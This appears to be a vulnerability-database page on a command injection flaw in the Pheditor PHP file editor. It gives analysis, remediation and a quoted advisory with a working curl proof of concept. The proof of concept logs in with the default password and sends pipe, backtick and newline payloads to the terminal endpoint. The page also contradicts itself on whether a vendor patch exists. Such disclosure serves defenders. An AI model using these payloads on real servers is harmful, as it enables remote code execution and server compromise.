Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach Pheditor login endpoint
-
DeliveryAuthenticate (default `admin` password)
-
ExploitPOST action=terminal with allowlisted prefix + `|`/backtick/newline
-
ExecutionBypass blocklist and prefix allowlist
-
Persistshell_exec runs injected command
-
ImpactExecute arbitrary OS commands as web server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated Pheditor session (PR:L) for a user who holds the |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) is internally consistent with the description: network-reachable, low complexity, single low-privileged authentication, no user interaction, and full CIA impact as the web server user. The one privilege requirement (PR:L) is materially undercut in practice by the shipped default password |
| Exploit ScenarioDerived | An attacker who reaches a Pheditor login - often trivially, using the shipped default password |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 16, 2026
OS command injection in Pheditor 2.0.1 through 2.0.5 lets an authenticated user with the default-enabled terminal permission bypass the TERMINAL_COMMANDS allowlist and run arbitrary shell commands as the web server user. The flaw is an incomplete fix for GHSA-9643-6xjp-vx57: the sanitization blocklist added $ but still misses the single pipe |, backtick, and newline (0x0A), each of which starts with a whitelisted prefix and slips past both filters. A fully working exploit is published in the GHSA advisory, and because Pheditor ships with the default password admin, the required authentication is frequently trivial to obtain, effectively lowering the barrier to unauthenticated RCE.
RemediationAI
Vendor-released patch: 2.0.6 - upgrade to Pheditor 2.0.6 or later, which hardens the command execution filter by blocking additional unsafe characters including the pipe, backtick, and newline sequences (per the 2.0.6 release notes at https://github.com/pheditor/pheditor/releases/tag/2.0.6 and advisory GHSA-wg4w-wr5q-6vjc). If immediate upgrade is not possible, disable the terminal permission for all users (it is enabled by default) to remove the vulnerable code path entirely - the trade-off is loss of in-app shell functionality. Additionally, change the default admin password immediately, since it collapses the PR:L requirement, and restrict network access to the Pheditor endpoint (authentication gateway, IP allowlist, or VPN) so the handler is not broadly reachable; the trade-off is added access friction for legitimate operators. The vendor's own suggested code-level fix is to parse the command into executable plus arguments, exact-match the executable against TERMINAL_COMMANDS, and use escapeshellarg() per argument or proc_open() with an argument array to avoid shell interpretation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Pheditor is a single-file PHP web-based file editor/manager (distributed as the Composer package pheditor/pheditor). Its terminal handler takes $_POST['command'] and concatenates it into a shell string executed via shell_exec() at pheditor.php:586: shell_exec('cd ' . escapeshellarg($dir) . ' && ' . $command . ' && echo \ ; pwd'). Two controls are supposed to constrain this: a metacharacter blocklist at pheditor.php:557 (rejecting &, ;, ||, and $) and a prefix allowlist at pheditor.php:566-573 that only checks the command begins with a name in TERMINAL_COMMANDS. The root cause is CWE-78 (OS Command Injection) driven by blocklist-based sanitization: because $command is placed unescaped into a shell invocation, any shell metacharacter not explicitly enumerated - here |, backtick, and the newline byte - permits command chaining or substitution while the payload still begins with an allowed token (e.g. ls, echo), defeating the prefix check.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable terminal endpoint, low-complexity metacharacter bypass, one low-privileged authenticated session (PR:L; default password can lower it in practice), no UI, full command execution yields high C/I/A.
Primary rating from Vendor (https://github.com/pheditor/pheditor).
CVSS VectorVendor: https://github.com/pheditor/pheditor
DescriptionCVE.org
Summary
The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS` allowlist and execute arbitrary OS commands as the web server user.
Details
Tested repository: https://github.com/pheditor/pheditor
Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)
Affected version: Pheditor 2.0.1+
The terminal handler receives $_POST['command'] and passes it to shell_exec() at pheditor.php:586:
$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');The blocklist at pheditor.php:557 checks for &, ;, ||, and $, but does not block |, ` `, or newline (0x0A`):
if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) {
echo json_error("Illegal character(s) in command (& ; ||)\n");
exit;
}The TERMINAL_COMMANDS prefix check at pheditor.php:566-573 only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.
Bypass 1 - Single pipe |: The filter checks for || but not single |. Payload ls | id passes both the blocklist and the whitelist (starts with ls). The shell executes: cd '<dir>' && ls | id && echo \ ; pwd, running id.
Bypass 2 - Backtick ` `: Backtick is not in the blocklist. Payload echo id passes the blocklist and whitelist (starts with echo). The shell executes id` inside backtick substitution.
Bypass 3 - Newline 0x0A: A literal newline byte is not in the blocklist. Payload ls\ntouch /tmp/proof (where \n is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.
PoC
Environment: Any system running PHP 8.x with pheditor.php deployed and shell_exec() enabled.
Setup:
git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &Authenticate (default password admin):
curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')Bypass 1 (pipe |):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls | id" \
--data-urlencode "dir="Expected: {"error":false,"message":"OK","result":"uid=... gid=...\n",...} - id output proves RCE.
Bypass 2 (backtick):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="Expected: Same id output in response.
Bypass 3 (newline 0x0A):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode $'command=ls\nid' \
--data-urlencode "dir="Expected: Same id output in response.
Control (blocked command without bypass):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=whoami" \
--data-urlencode "dir="Expected: {"error":true,"message":"Command not allowed..."} - allowlist enforced.
Cleanup:
kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txtImpact
OS Command Injection (CWE-78). Any authenticated Pheditor user with the terminal permission (enabled by default) can bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 - that fix addressed $() substitution but three additional shell metacharacters remain unblocked.
Attacker privileges: Authenticated user (PR:L). Combined with default password admin, effectively PR:N.
Impact: Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).
Suggested remediation: Parse the command into executable + arguments, validate the executable against TERMINAL_COMMANDS with exact match, pass each argument through escapeshellarg(), or use proc_open() with an argument array to avoid shell interpretation entirely.
Executive ViewAI
Pheditor 2.0.1-2.0.5 contains an unpatched remote code execution vulnerability (CVE-2026-55578) with publicly available exploit code. Authenticated users can bypass command restrictions to execute arbitrary system commands as the web server user. Since no vendor patch exists and the product ships with easily-guessed default credentials, organizations cannot eliminate this risk through standard patching and face immediate threat of complete server compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: enforce strong non-default credentials immediately, disable the terminal permission unless operationally critical, restrict network access via IP allowlisting and reverse-proxy authentication, and deploy monitoring for unauthorized command execution. Evaluation for replacement or decommissioning should be completed within 30 days.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-49386
GHSA-wg4w-wr5q-6vjc
NVD
CVE.org
EPSS
Exploit-DB